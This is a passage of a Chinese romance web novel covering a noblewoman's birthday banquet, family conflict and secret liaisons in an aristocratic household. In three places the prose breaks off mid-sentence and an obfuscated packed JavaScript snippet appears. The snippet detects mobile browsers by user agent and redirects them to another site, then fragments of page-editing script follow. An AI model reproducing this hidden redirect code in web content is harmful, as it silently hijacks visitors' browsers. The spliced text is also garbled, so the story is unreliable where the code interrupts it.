她身子不着痕迹向左偏了偏,但左手边坐着崔怀松,她也不想太过靠左,几经权衡之下,还是又向右动了动。 所幸这次晚宴不似昨日守岁那般要留一夜,很快便结束了,她回到踏雪阁长舒一口气,再晚上片刻,她就要溺死在那存在感极强的竹香中了。 “主子,请帖都备好了,明日便可送出,需要奴婢侍奉您更衣吗?”春喜一边为她揉着肩,一边细声问道。 她本就没睡多久,身子疲累至极,闻言点了点头,没再说些什么。 春喜也看出自家主子状态不佳,动作下意识放轻了些,将衣物快速褪去,换上寝衣,随后掖好被角,又把烛火熄灭留一盏照明退了出去。 夜渐深,明月不知疲倦地高高悬挂,将每一寸照亮,不知过了多久,明月走到了乌云之下,光亮被一点点吞噬殆尽,彻底陷入黑暗之中。 岑景舒睡得并不踏实,因此窗杦发出的轻响瞬间把她惊醒,她睁开眼坐起来,伸手把身边将要燃尽的烛火换成新的。 柔和的光将床榻这一片照亮,映出一个高大的倒影。 “卿卿,怎么吵醒你了?”谢无咎轻手轻脚飘到榻前,攥住她还没来得及收回的手来回把玩:“那我下次再轻点。” 岑景舒把他拉到榻上,顿时沉香混杂着霜雪的寒气将她笼罩,她的声音带着刚睡醒的沙哑:“谢无咎,你怎么没把羽森卓光带走?” “卿卿……” 她看到谢无咎的眸光微沉,攥着她的手收紧几分,随后欺身压了上来,几缕发丝飘到她的脖颈之上,有些痒。 耳垂被温热的唇瓣衔住,她下意识偏了偏头,却撞上一只早有预料的大手,不由分说地把她的头又按了回来。 她忍着痒意,推了推谢无咎:“我跟你说正事呢,你这是做什么?” “卿卿你说。”谢无咎听出她的语气,于是不再胡作非为,将身子撤开大半,仍旧紧紧攥着她的手。 岑景舒又重复了一遍:“你怎么没把羽森卓光带走?” “不着急,如今北巫那边的人已经有所动作了,羽森卓光是重要的棋子,把这颗棋子藏在暗处更好。”谢无咎不紧不慢应道。 岑景舒闻言皱了皱眉,他说的语焉不详,显然并不想细说,但是羽森卓光如今和闻绝柳已经扯上了关系。 事关闻绝柳,她绝不容许有任何闪失。 “若要藏在暗处,也应当是藏在你那里,总把人放在我这是什么道理?” 谢无咎的手指顺着寝衣宽大的袖摆往里滑去,他冷哼一声,手摸到软肉用力一捏,咬牙道:“这就要问你了,我的好卿卿。” “他人在我的地盘待得好端端的,怎么就跑到了你那里呢?” 岑景舒被捏得闷哼出声,轻微的刺痛很快被酥麻的痒意遮住,提及此事她莫名有些心虚,也顾不上驱赶他作乱的手:“那你再把人带走就是了。” “我若是将人弄丢了,坏了你的计划,你岂不是要将我五马分尸?” “我怎么舍得。”谢无咎喟叹一声,轻轻抚摸着她的脸,手掌上的茧子在她的脸上留下红痕。 岑景舒把他的手推开,看着他认真道:“北巫不比大盛,蛮人崇尚武力,争夺 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“想不到卿卿思虑如此周全,能让卿卿有这种担忧是我的错,明日我会派人把羽森卓光带走,至于后续之事。” 岑景舒被抱得猝不及防,拧了一把他的腰作为报复,被紧紧捂着的声音有些闷:“后续如何?” 一个吻落在她的额头,随后她被谢无咎半推半抱地躺下,又给她喂了一杯茶水,她愣了愣,有些不太明白他这是什么意思。 谢无咎轻笑一声,吻了吻她变得水润的唇角,哑声道:“过几日我再告诉你。” “卿卿,好梦。” ** 时光在眨眼之间转瞬即逝,一晃她的生日宴就在明日了。 府上早早将一切都打点好,她的本意是不想大肆操办太过张扬,可架不住大夫人势必要将宴会办得风风光光,还特意请来了各家的老夫人为她庆生。 不过这几日她也没闲着,忙里抽闲的功夫把小青给料理了,虽然最后没扯到霜月头上,但是失去小青,对霜月来说也是个不小的损失。 后来她就没再关注过霜月那边了,但从霜一不再继续前来踏雪阁请她了这件事来看,估摸着霜月又对崔怀松说了些什么,把崔怀松哄骗得摸不着东西南北了。 她看了一遍收到的贺礼清单后,递给春喜道:“把这份贺礼清单再誊抄一份,分别放好,不要放在同一个地方。” “是。”春喜应声接过贺礼清单,紧接着又道:“贺礼奴婢都核对过了,都妥善安置好了,明日的各个环节奴婢也再三确认,绝对不会出任何差池。” 岑景舒点了点头,应道:“如此便好,另外明日王家和柳家的老夫人会来,宫里也会有娘娘亲至,宴会上一定要多加巡卫,以备各种突发情况的发生。” “二公子把这活包揽下来了,奴婢和桑尘确认过,没有问题。”春喜早有准备,很快便接过话。 岑景舒手指弯曲轻叩桌面,发出不规律的轻响:“太傅府那边有什么动静吗?” 春喜面色一僵,咬着嘴唇瞟了她几眼后,顿了片刻才低声说道:“据说小公子筹备了厚礼。” 26. 第二十六章 宴会设在崔府后院,素日里幽清静雅的阁楼里现在坐满了人,几位头发花白眼神却十分锐利的老夫人正在互相交谈。 阁楼之下则是雾气缭绕的温泉池水,娇艳欲滴的花朵在白雾下若隐若现,向左看去便能看到三三两两的如花似玉的小姐夫人捂着帕子笑作一团,好不热闹。 一溪之隔的右侧是各家的公子,有饮酒论道的、有赋词作画的、也有沉默不语仿佛与世隔绝的。[1] 作为今日的主人公,岑景舒感觉脸都要笑僵了,整整两个时辰了,她嘴角上扬的弧度一直没有变过,如同一个面具般牢牢定在了脸上。 “我先前见你,你不过刚到我腰那里,如今一晃眼竟然都成了亭亭玉立的少夫人了,这岁月当真是转瞬即逝啊。” 岑景舒眼中的笑意深了些,牵住来人的手,语气中带着熟稔应道:“虽多年未见,可关于姐姐的事情,我可是一件不落。” 王延絮挑了挑眉,顺着她的力道坐下,抿了口茶:“那我来考考你。” 说罢,王延絮歪了歪头,纤细的手指摩挲着下巴,沉思了片刻后,眼中闪过一丝狡黠,弯了弯唇,看向她问道:“那就问你……” “我上次做香囊是什么时候?” 她们的谈话并没有刻意压低音量,话落一旁的几个小姐也好奇地围了过来,还不等她答话,就开始你一言我一语地讨论了起来。 “王姐姐可是很久都不做香囊了呢,上次还是给小将军做的吧?”黄衣小姐最先凑过来,也是最先开口的。 很快对面的绿衣小姐反驳道:“不是吧?应该是给柳公子做的吧!” 岑景舒看着她们争论不休已经达到了忘我的阶段,赶忙悄悄看了王延絮一眼,旋即几个闪身便远离了战场。 王延絮的绣活巧夺天工,先前更是绣出了一副栩栩如生的《霜降洛京》图,无论是远观还是近看,上面的一砖一瓦都极其逼真,人物更是惟妙惟肖。 但她从不轻易绣香囊,能请她绣香囊的,普天之下唯有两人,便是方才那几个小姐争论的王小将军和柳公子。 她脑海中闪过柳公子的冰块脸,暗自腹诽,也不知王延絮怎么能受得了。 “尽溪。” 岑景舒一愣,顺着声音传来的方向望去,看到大夫人站在阁楼的木栏前,眉目含笑地看着她。 她连忙福了福身,大夫人很少有这般愉悦的时候,看来跟几位老夫人聊得很是投缘,她乖顺应道:“母亲。” 随后她便快步来到了阁楼内,在距离大夫人五步远后站定,接着询问道:“母亲有何事吗?可是饭菜不合几位老夫人的胃口?” “倒也不是,只不过是同老夫人们谈到你,她们很想见见你,凑巧你就在。”大夫人上下打量了她一眼,满意道:“不错,随我来吧。” 岑景舒手掌沁出粘腻的汗珠,里头的几位在洛京可谓是数一数二的存在,不仅夫家是士族,母族势力也十分庞大,就连谢无咎那样肆意妄为的人,在那几位面前也不得不礼让三分。 她面色如常地跟在大夫人身后,脑海中却是一团乱麻,前面刚想完谢无咎,又想到大夫人居然肯带她在见几位老夫人。 虽然有几分利益牵扯,但大夫人能为她做到这个份上,尤其对比大夫人对两个儿子的不近人情,对她的疼爱当真是如同一片汪洋大海了,看来当年的事情远比她想的要复杂。 “尽溪来,这位是柳老夫人。” “尽溪见过柳老夫人。” 大夫人温声一一介绍,她便挨个乖巧行礼,言谈举止从容不迫,面上不见任何慌乱之情,始终保持着温婉的笑。 片刻后,她坐到了大夫人的右手边,借着喝茶的遮挡,暗自松了口气,随后放下茶杯,自然地融入到她们的谈话当中。 “尽溪,行至水穷处,溪山无尽藏,好字好字。”柳老夫人说完从发间取下玉簪递给她:“身上也没带什么稀奇物件,这玉簪赠你。” 岑景舒浅笑着接下:“多谢老夫人。” 一个玉簪即便再贵重,在底蕴深厚的世家中也不过是毛毛细雨,因此不用推辞,落落大方收下便可。 不多时,她手心的冷汗便慢慢退散,谈话的氛围跟她预想的简直天差地别,她们仿佛如同普通的老妇人一般,笑眯眯和蔼地询问她一些琐事。 兴到正浓时,大夫人笑道:“尽溪这孩子,颇有当年岑老太傅的风范,崔府上下交给她,我也能安心享清闲了。” “婉清好福气啊,有个尽溪这样的好儿媳,不像我家那位,脾气燥得很哟。”柳老夫人笑着接话,尽管是抱怨的话,但语气却带着亲近和骄傲。 婉清是大夫人的名,大夫人出身江南邵阳年家,盘桓统治江南百余年,说是土皇帝也不为过。 其余几人也纷纷附和,岑景舒偏过头去看大夫人,轻声道:“母亲,您……” 她话还未说完,便被门口春喜的通传声打断:“夫人,太傅夫人来了,想要见少夫人。” 年婉清看向她,随后低声道:“你去吧,有何问题进来寻我便是。” “是,尽溪告退。”岑景舒屈膝环视一周,算是给各位老夫人请别,随后才出了阁楼,压低嗓音问道:“你可知她来寻我是何事?” “回主子,奴婢不知,但夫人还带着小公子,小公子入仕在即,会不会……”春喜的面色不太好看,犹疑道。 岑景舒蹙了蹙眉,心下有些厌烦。下一瞬,余光中看到一双极具侵略性的眼睛直勾勾盯着她,见她望过去,眼睛的主人挑了挑眉,随后转而看向了另一处地方。 她顺着他的目光微微偏头看去,脚下动作不停,好似什么都没发现一般若无其事地继续和春喜道:“我知晓了,你去跟着夏意盯好宴会,决不能出现任何疏漏。” “是,奴婢告退。” 她快步穿过层层游廊,很快就来到了踏雪阁,不等她母亲开口,便冷声道:“我和你们没什么好说的,今日是我的生辰,我并不想让你们难堪。” 随后她斜睨着有些窘迫的身影,毫不客气道:“岑景钰,你若还是个男人,就不该出现在这里。” “你说什么呢?!看你现在成什么样子!不论如何,我让你嫁入崔府,于你而言不是天大的好事吗!” 母亲声音有些尖锐的嗓音落到她耳中有些虚幻,她平静地看着母亲的嘴唇开开合合,表情因愤怒而变得扭曲,她心脏猛然一坠,酸涩难言的汁水在胸腔炸开。 她掩在袖摆下的手指蜷缩成拳,明知结果却还是想做最后的挣扎,像是一条被大海遗弃在岸边的濒死鱼:“母亲,你真的认为,女儿嫁给崔怀松那样的人,是天大的好事吗?” “不然呢!我费尽心力将你培养长大,为你谋得良缘,如今让你帮你的亲弟弟争取一个官位,你都不肯吗!” 岑景舒指甲掐入掌心,眼神犹如一潭死水,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648605|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到任何波澜,她淡声道:“我没有办法,还请母亲另谋出路吧,父亲不是和谢大人交好吗?” 她加重“交好”二字,语气中带着几分嘲讽:“怎么不去求求谢大人呢?” “你!不孝女!” 岑景舒坦然面对母亲的指责,看着始终无动于衷的弟弟,沉默下来。 片刻后,她母亲气冲冲带着弟弟走了,没再回头看她一眼。 岑景舒垂眸伫立在原地,看着一尘不染的地砖,蓦然嗤笑出声,再抬头时她已经整理好了表情,大踏步走出踏雪阁,向着后院方向走去。 不过她并没有去后院的宴会上,而是在快到时转了个弯儿,穿过一条小路,来到了后院一处两人高的山石后面。 独特的沉香入怀,她被抵在山石上,头没有碰到坚硬冰冷的石头,而是宽大燥热的掌心。 “卿卿,生辰快乐。” 岑景舒伸手戳了戳他的肩膀,应道:“你先前已经说过了。” “那怎么能一样?”谢无咎捉住她的手紧紧握住,俯下身在她的耳边哑声道:“生辰祝福自然要在当天送上。” “生辰礼……也是。” 随后他撩开她的衣衫,将脖颈完全露出,把一串绯色玛瑙石项链为她戴上。 “卿卿,喜欢吗?” 岑景舒毫不犹豫点头,从谢无咎手里送出的礼物,说是价值连城都是看轻了他,她没有道理不喜欢。 她环住谢无咎的腰,桃花眼中泛着潋滟水光,道:“谢谢你,我很喜欢这件礼物。” 谢无咎眸光微沉,单手一揽便紧紧把她箍在怀中,另一只手则是抬起她的下巴,低头吻了下去。 “唔...”岑景舒闭上眼,感受着他炽热的呼吸,唇瓣被重重摩擦了一下,她不禁闷哼出声。 “操,谢在野,你混账!” 岑景舒听到声音猛然睁开眼,下一瞬闪着冷光的箭矢擦着她的脸,直冲她身前的谢无咎射去。 谢无咎神色不变,甚至还不轻不重咬了她唇瓣一口,紧接着他用力踢向山石,借着这股力后撤一大段距离,在箭尖刺穿他喉咙的前一刻完美躲开了。 下一支箭矢以破空之势再次刺向谢无咎,被他再次堪堪躲过后,王延随把弓箭随手一丢,几个闪身便冲到了谢无咎身前,手背上青筋暴起,拳拳生风。 而谢无咎也不是吃素的,他抬手用胳膊格挡住王延随的拳头,抬腿便攻向他的下盘,肉-体不断碰撞发出骇人的闷响。 岑景舒捋了捋散乱的发丝,一时间不知该先拦谁,她来不及思考王延随怎么会突然出现在这里,目光瞥向了几步外在场的第四个人。 只见崔怀鹤脸上挂着一成不变温和的笑,缠绕在手上的青玉珠串露出一大半,被主人游刃有余地不断把玩着。 察觉到她的目光,崔怀鹤修长的手指一顿,随后三两下便将珠串缠好,走到了她的身前,高大的身影将她完全笼罩,也隔绝了那凶猛的打斗。 岑景舒被清冽的竹香浸满,眼前只有崔怀鹤那张似笑非笑的脸,不知为何她的心脏猛然跳动起来。 急促的心跳声异常明显,她看到崔怀鹤的眼底闪过一丝促狭的笑意,她的心不由得跳的更快了些。 时间被拉得无限绵长,她只能听到二人交相缠绕的呼吸声,好像过去了很久又好像只是一瞬间,她深吸一口气,看着崔怀鹤道:“怀鹤,你什么也没看到,对吗?” 27. 第二十七章 崔怀鹤低头看着忐忑不安的人,脑海中闪过的第一想法居然是,方才谢无咎就这样站在她的眼前吻了下去,她这张惯会演戏的脸又会露出怎样的神情? 若是他也吻下去呢…… “怀鹤?” 一声近乎呢喃的呼喊将他的思绪唤回,他压下心中恶劣的想法,闭了闭眼,温声应道:“是,我什么也没看到。” 岑景舒悬着的心彻底落下,刚刚崔怀鹤的眼神十分幽暗像是可以吞噬一切的漩涡,她还以为他不会答应。 这边解决完,她向右挪了挪身子,偏头去看谢无咎和王延随。 两个人打得你来我往,谁也占不了上风,她看了片刻,发现嘴巴比较笨拙的王小将军被谢无咎气得够呛,有些于心不忍。 “谢在野!你怎么可以这样对她,她是谁的妻子你不知道吗?你这样置她于何地?你简直禽兽不如!”王延随红着眼,挥拳咬牙怒骂。 谢无咎后仰躲过这一拳,漫不经心回敬道:“我只知晓她是我的卿卿,不过我也有个疑问,王小将军是以什么身份来质问我?” 他轻蔑一笑,眼中满是嘲讽:“幼时玩伴吗?” “你!”王延随浑身颤抖,气到有些乱了阵脚,被游刃有余的谢无咎抓住了破绽,狠狠朝他的腹部打了一拳。 “嗯...” 王延随被打得后退几步,闷哼出声。 “谢无咎,王延随,你们不要再打了!”见王延随受伤,岑景舒再也忍不住,歪着头靠在崔怀鹤的胳膊上喊道。 谢无咎和王延随的停了下来,齐齐朝她看过来,在看清楚她的位置时,王延随直接走了过来,谢无咎则是停在原地眼神沉了沉。 “长嫂,你先走吧,这里有我在,不会有事的。”崔怀鹤听到身后的动静,轻轻推了推她,继续道:“生辰快乐,你的生辰宴少了主人公可不太好,一切交给我便好。” 她轻轻嗯了一声,想要回头再看一眼谢无咎和王延随再走,不知是不是崔怀鹤察觉到了她的意图,还是只是想让她快些走,她被一只大手推了一下。 温和且不容拒绝的声音自身后响起:“快回去吧。” 岑景舒顺着这股力道向前走了几步,不过她向来不是听话任人摆布的性子,于是她回过头,丹墨色的耳环随着她的动作在空中划过一道弧线。 她的最先看到的是似乎早有预料她会回头的崔怀鹤,阳光洒落在他的身上,温和的眼底是她看不懂的森寒,南辕北辙的两种气质在他身上却能完美融合。 他无声笑了一下。 岑景舒心脏漏掉一拍,脑海中不由自主又回想起那个旖旎的梦。 回头的瞬间过于短暂,在崔怀鹤那里便占据了绝大部分,因此她只来得及匆匆瞥了一眼神色晦暗的谢无咎,以及眉头紧皱的王延随。 身后的三人交谈的声音逐渐远去,眼前又出现了宴会上觥筹交错的景象。 她在女眷里走了一圈,和那些不管认识不认识的女子攀谈几番过后,她坐在了一个不起眼的角落里。 这里乍一看并没有什么不同,但只要仔细去看就会发现,坐在这里的女子面容清秀,但并不是洛京城内的姑娘。 此人正是易容过后的闻绝柳。 “本姑娘可瞧见了,你远远瞧了那疯狗谢无咎一眼,他随后就出去了,紧接着小将军跟你夫君的弟弟也过去了。” 闻绝柳的视线停留在她破皮有些红肿的唇瓣之上,眼神瞬间变得微妙起来:“死丫头,老实交代,刚刚究竟发生了什么?” “你管这么多做什么?这么多东西都堵不上你的嘴?”岑景舒紧绷的神经和身体在好友面前都放松下来,她懒散一笑,斜了闻绝柳一眼,毫不留情回嘴道。 “不是本姑娘说你,你这次也太不地道了,你都成亲了怎么能……”闻绝柳四下看了看,确定没有人注意到这里后,把声音放到最小。 “怎么能跟别的男人不清不楚呢?” “还是三个!” 闻绝柳眯了眯眼,拽住她的袖子咬牙愤恨道:“你个死丫头,有这么多好男人,怎么就不知道跟本姑娘分享一个?” “我怎么就没有给你分享了?前些阵子我不是买了一个英俊魁梧的男人送你?”她拂开闻绝柳的手,喝了口茶继续道:“不满意?” 闻绝柳翻了个白眼:“别以为本姑娘不知道你安的什么心,把本姑娘当成不要银子的师傅了是吧,少说得那么冠冕堂皇。” “不过说起来,这男人来头不小,那谁想做什么你知道吗?别到时候把你牵连进去了,那可是遗臭万年的罪名。”闻绝柳的神色正经起来,把声音压到最低。 岑景舒摇了摇头,同样轻声道:“他不过比我年长两岁,能在吃人不吐骨头的谢家稳坐家主之位,自然有他的过人之处,不必多虑。” “正因如此,你才更要问清楚一些。”闻绝柳恨铁不成钢地瞪了她一眼,轻声骂道:“你清醒一点吧,他那样的人,要什么女人没有?” “眼下他只是对你有兴趣,不管怎样他都不吃亏的,可你想过没有,一旦他厌倦了你,你将会面临怎样的处境?” 闻绝柳说着说着猛灌了了一口茶水,强压住心中的火气接着道:“要么你们两清,要么你身败名裂,岑尽溪你脑子进水了吗你去招惹他?” “你这么生气做什么?”她伸手拍了拍闻绝柳的手,耸了耸肩浑不在意笑道:“无所谓啊,小宁,你知道的,我好不容易挣脱了岑家的束缚。” “可嫁给不喜欢的人,同样是一道枷锁。” 她眸光微闪,嘴角扯出一抹苦笑,敞开心扉道:“小宁,我不愿这样。” 随后她勾了勾唇角,举起一旁的酒杯,挑眉道:“如果能在此后有限的时光内潇洒一回,也不枉此生了。” 闻绝柳定定地看着她,片刻后举起酒杯狠狠撞了过去,溅出的酒液撒在饭菜上。 “有时候本姑娘真看不懂你,你脸上的面具太多了,到底哪个才是最真实的你?” 烈酒烧喉。 “我也不知道。” “或许那个最真实的我,早已死在了十三岁生辰的夜晚。” 谁也没再继续说些什么,唯有酒杯碰撞的清脆响声和宴会上噪杂喧闹的人声。 闻绝柳的眼神已经有些飘忽了,岑景舒见状把她的酒杯按住,低声道:“不能喝了,再喝你待会走不掉了,这里是洛京,柳家眼皮子底下你还是小心些。” “嘶……知道了知道了。”闻绝柳的的酒醒了一大半,把酒杯推远,摆了摆手道:“你也走吧,在这里时间太长了,难免会有些引人注目。” “好,下次再见。” 岑景舒起身,不过片刻后便再次融入到了人声鼎沸之中。 ** 宴会在夜幕降临之际散去,她拖着疲累的身子回到踏雪阁,夏意和春喜见状赶忙迎上来替她更衣沐浴。 “主子,大夫人将库房钥匙给了您,奴婢放到了书房,您看是先沐浴完再去瞧瞧,还是?”春喜边为她褪去外衫边道。 她闻言抬手止住春喜的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657856|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又将外衫拢好,二话不说便大踏步去了书房。 岑景舒一进书房便瞧见了放在书案正中央的紫檀木盒子,里面装了什么不言而喻。 她摸了摸盒子,却并没有打开,心中思绪万千,按理来说新妇进门,接管中馈是理所应当的,可世家内部盘根错节,往往有着更多的考量。 不过与她而言,现在就接手掌家权反倒是好事。 翌日。 年婉清带着她前往老宅祠堂祭祀,在祖宗面前过了明路,随后便在宗族长辈的见证下,给了她家仆名册,至此掌家权便彻彻底底属于她了。 老宅位于洛京西郊,靠山临水环境静谧,是个聚灵的风水宝地,唯一的缺点便是山路崎岖难行。 岑景舒脸白如纸,茶水一杯杯灌下却仍然缓解不了身体的不适,晕眩感使得她有些头重脚轻,胃里更是止不住翻涌。 在一次颠簸中,她再也忍不住将马车叫停,靠在岩石上眉头紧锁大口喘着粗气。 “在车内燃上这个熏香会好一些,你这丫头,怎么不早些说?”年婉清轻斥道。 “谢……” “还谢什么?”年婉清视线转到春喜身上,接着道:“春喜,去燃香。” “是,夫人。”春喜接过熏香连忙上了马车去燃香。 折腾了好一阵子,车队总算安然无恙地回到了崔府。 然而她的状态却没好上多少,因此直接回了踏雪阁歇息,没再召集崔府上下的管事下规矩。 “嗯...” 岑景舒皱着眉将浓黑的药汁全吐了出来,尽管只喝了一小口就立马吐出来了,还是苦得她舌根都留有涩味。 “拿走。” 说这两个字仿佛用尽了她全身的力气,她瘫倒在榻上,那股天旋地转的感觉始终存在,经过方才的苦药刺激,变得更加难受了。 春喜犹豫着不知该如何是好,一侧的夏意把药接过,拽着春喜就出去了。 室内一片寂静,岑景舒的情绪平复大半,只是那恼人的苦药味却仍旧充斥着整间房屋。 意识朦胧之际,屋外传来崔怀松的声音,她皱了皱眉,睡意全无。 “公子,您不能进去,我家主子身子不舒服,现下正在休息。” “公子,请回。” 春喜和夏意一左一右拦在外面,崔怀松无奈只能提高声音:“景舒,千错万错都是我的错,是我错怪了你,你若还在生气,我让你再多打几下!” “景舒,你想怎样都行。” 岑景舒揉了揉眉心,下了榻缓了片刻才道:“让他进来。” 她不知道崔怀松这是又闹哪出,当时他误会了她打了她一耳光,她当场就还回去了两巴掌,在她这里,无论前因后果如何,此事已经了结。 更何况,崔怀松不是被霜月哄得不知东西南北了吗?怎么突然诈尸跑来跟她认错了? 正在她思衬间,崔怀松高大的身影已经停在了她的身前。 她抬眼望去,入目便是崔怀松那张和崔怀鹤有着八分相像的脸,只是他的眼睛不比崔怀鹤漂亮,总有一种看谁都深情的感觉。 正如此刻,他深情款款地望着她。 她不着痕迹往后退了两步:“长公子,找我何事?” 崔怀松眼神飘忽,语气中带着小心翼翼的试探:“景舒,母亲把掌家权给了你,我想同你商量一件事。” 只是不待他说完,屋外再次传来春喜的通禀:“主子,二公子请您到书房一趟。” 崔怀松一愣,神色忽变。 28. 第二十八章 崔怀松不知联想到了什么,脸色变得有些难看,但他并没有说些什么,而是道:“怀鹤轻易不麻烦旁人,既然他找你,那我便稍后再来。” “嗯,长公子自便。” 岑景舒神色如常,不理会崔怀松带着探究的眼神,轻飘飘留下一句话便带着春喜走了。 昨夜里刚刚落下一场大雪,此刻空中还残留着肆虐的寒流,冻得春喜缩了缩脖子。 “主子。”夏意轻声开口,悄悄伸出手比了个手势。 岑景舒余光瞥见身后不远处的阴影,冲着夏意小幅度摇了摇头,示意不必理会。 应当是崔怀松的人。 这两兄弟关系非常微妙,她刚得掌家权,多日不见的崔怀松就跑来找她,八成是要给霜月讨要什么好处,而崔怀鹤骨子里的高雅自然是看不上这种偏爱妾室的行为。 崔怀松做的事在崔府并没有过多遮掩,因此他约莫是怕崔怀鹤会对她说些什么,从而坏了他的好事。 想跟就跟吧,反正她和崔怀鹤之间坦坦荡荡,没什么见不得人的。 思及此,她指尖蜷缩一瞬,很快恢复正常。 崔怀鹤显然也注意到了她身后的小尾巴,因此并没有令桑尘关上书房门,而是半掩着,足矣让屋外的看见,但听不清楚谈话内容。 他和嫂嫂对坐在书案两侧,神色自如,乍一看并没有什么异样。 “上次之事,执潭有些话想要对长嫂说。”崔怀鹤眼底带着笑意,那轻松的口吻好像在说今日天气十分晴朗一般。 岑景舒暗自腹诽,这二公子真是能耐,能面不红心不跳说出这么羞耻的事情。 那她必然不能落了下风:“是,怀鹤你说。” “我与谢无咎共事多年,他这个人极其危险,并且不按常理出牌。”崔怀鹤捻动着青玉珠串,缓缓道:“兄长待长嫂不好,长嫂如此也是情理之中。” “只是谢无咎并非良人,长嫂与他接触,要多加小心才是。” 他顿了顿,接着不疾不徐道:“王小将军即将远赴边关,再次归来不知是何年,长嫂不宜在他身上倾注过多。” 岑景舒觉得他温和的嗓音似乎有种特别的蛊惑力,若是旁人来说这些话,她定然是不爱听的,可由崔怀鹤说出来莫名有很大的说服力。 她望着崔怀鹤洞悉一切的双眼,忽然又想到先前的梦,眼前的人逐渐和梦中的画面重叠,她抿了抿唇,从崔怀鹤的这番话品出了一丝异样。 崔怀鹤为什么要跟她说这些? 若是只出于对嫂嫂的关心,只站在她夫君的弟弟的立场之上,那么他这些话未免太过僭越,更何况他几次三番撞破她和别的男人…… 他都选择了替她隐瞒。 这并不是她夫君弟弟应该做的。 岑景舒被这个想法吓了一跳,心脏扑通扑通跳个不停,她闭了闭眼,好半晌才道:“怀鹤,我知道了。” “你那日...怎么解决的?”她犹豫一瞬,还是问了出来。 她到现在还不知道谢无咎和王延随现在是什么情况。 “时辰不早了,我听闻兄长还在踏雪阁候着,长嫂便先回去吧。”崔怀鹤手指一勾便把青玉手串敛入袖中,站起身温和中带着不容拒绝的口吻道。 岑景舒点头也不再过问,反正他不说她也有别的办法知晓。 她再出去时,那个小尾巴已经不见了踪影,左右也不是重要的事情,她也没太放在心上,带着春喜回了踏雪阁。 “啧。”她突然停下脚步,蹙着眉看向春喜问道:“踏雪阁的人你都清楚底细吗?” 春喜愣了愣,下意识接道:“知道,奴婢先前和夏意筛查过院内所有人的来历,不干净的都被清走了。” “主子,是出什么事了吗?” 她眸色微沉,摇了摇头道:“无事,许是我多虑了。” 崔怀鹤对她的事情似乎知道的太多了些。 “景舒,你来了,怀鹤找你是有什么要紧事吗?”崔怀松见她过来,立刻放下茶杯迎了过来,状似不经意随口问道。 岑景舒没理他,径直从他身边走过,坐在坐榻上喝了杯茶后,这才淡声应道:“我的事和长公子无关,你来找我做什么?” “阿月又有喜了,我想留下这个孩子。”崔怀松生怕她不同意,急忙补充道:“阿月先前没了一个孩子很是伤心,这次好不容易怀上了。” “景舒你已经有掌家权了,第一个孩子在不在你这里都影响不到你的地位。我保证,第二个孩子一定过继到你的膝下,好吗?” 岑景舒眼神冷了下来,不管霜月是想了什么法子又怀上了,这个孩子定然是生不下来的,即便出现了医术奇迹,这个孩子安然出生了,那也必须养在她这里。 否则先前谈好的条件算什么? 规则一旦被打破,那先前建立起的秩序将会全面崩塌,只是时间早晚的问题。 她绝对不允许这样的事情发生。 “长公子,我想你忘了我说的话。”岑景舒嘴角勾起一抹嘲讽的笑,一字一句道:“我说过,我能让霜月入府,也能让她再入奴籍。” “第一个孩子,无论男女,必须要养在我的膝下。” 崔怀松脸色顿时变得难看起来,他攥紧拳头,明明这是早就知道结果的事情,但他不知道他现在为什么这么愤怒。 看到眼前这个可以说得上是内心冷硬狡诈的女人,那副她的一切都与他无关的淡然的样子,他心里就没由来的感到生气。 “你会后悔的。”他咬牙说出这句话后,拂袖离去。 岑景舒挑了挑眉,有些不太理解他这话是从何而来,她会后悔? 不可能。 落子无悔,她从不追忆那些已经无法挽回的事情。 她看着崔怀松的背影,冷笑一声,会后悔的人,应该是你啊。 那位霜月姑娘可不是善茬。 “主子,有两封信。”夏意轻轻扣了扣门,示意这信来头不一般。 “进来。” 岑景舒接过两封信,先拆开了带着桃花印记薄薄的那封,是王延随送来的。 “姐姐,是我~今夜桃林见*^_^*。” 她视线落到那个笑脸上时,唇角也不自觉上扬,这家伙的字写得稀烂,但画技不错,寥寥几笔就能让没有生命的信件变得灵动起来。 将信件丢进香炉后,她拆开另一封。 “卿卿,上次你问我羽森卓光一事,因着当时尚未谈妥便没有告知。” “羽森卓光是被北巫的王储追杀至此,被我救下,我许诺可以帮他渡过这次危机,但条件是他要同我结盟,现下他已经应允,后续事宜我正在同他洽谈,你若想知晓我会再同你写信。” “另,崔怀鹤那只笑面狐狸那日居然冲我发了好大的火,还有那不知死活的小将军跟我动手,卿卿,我派人弄死他们的话,你会支持我的,对吗?” “卿卿,我一切安好,等你的回信。” 信件内容不多,她扫了几眼便全部看完,并没有立即焚毁,而是先搁到了一旁,拿出纸笔开始回信:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672716|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 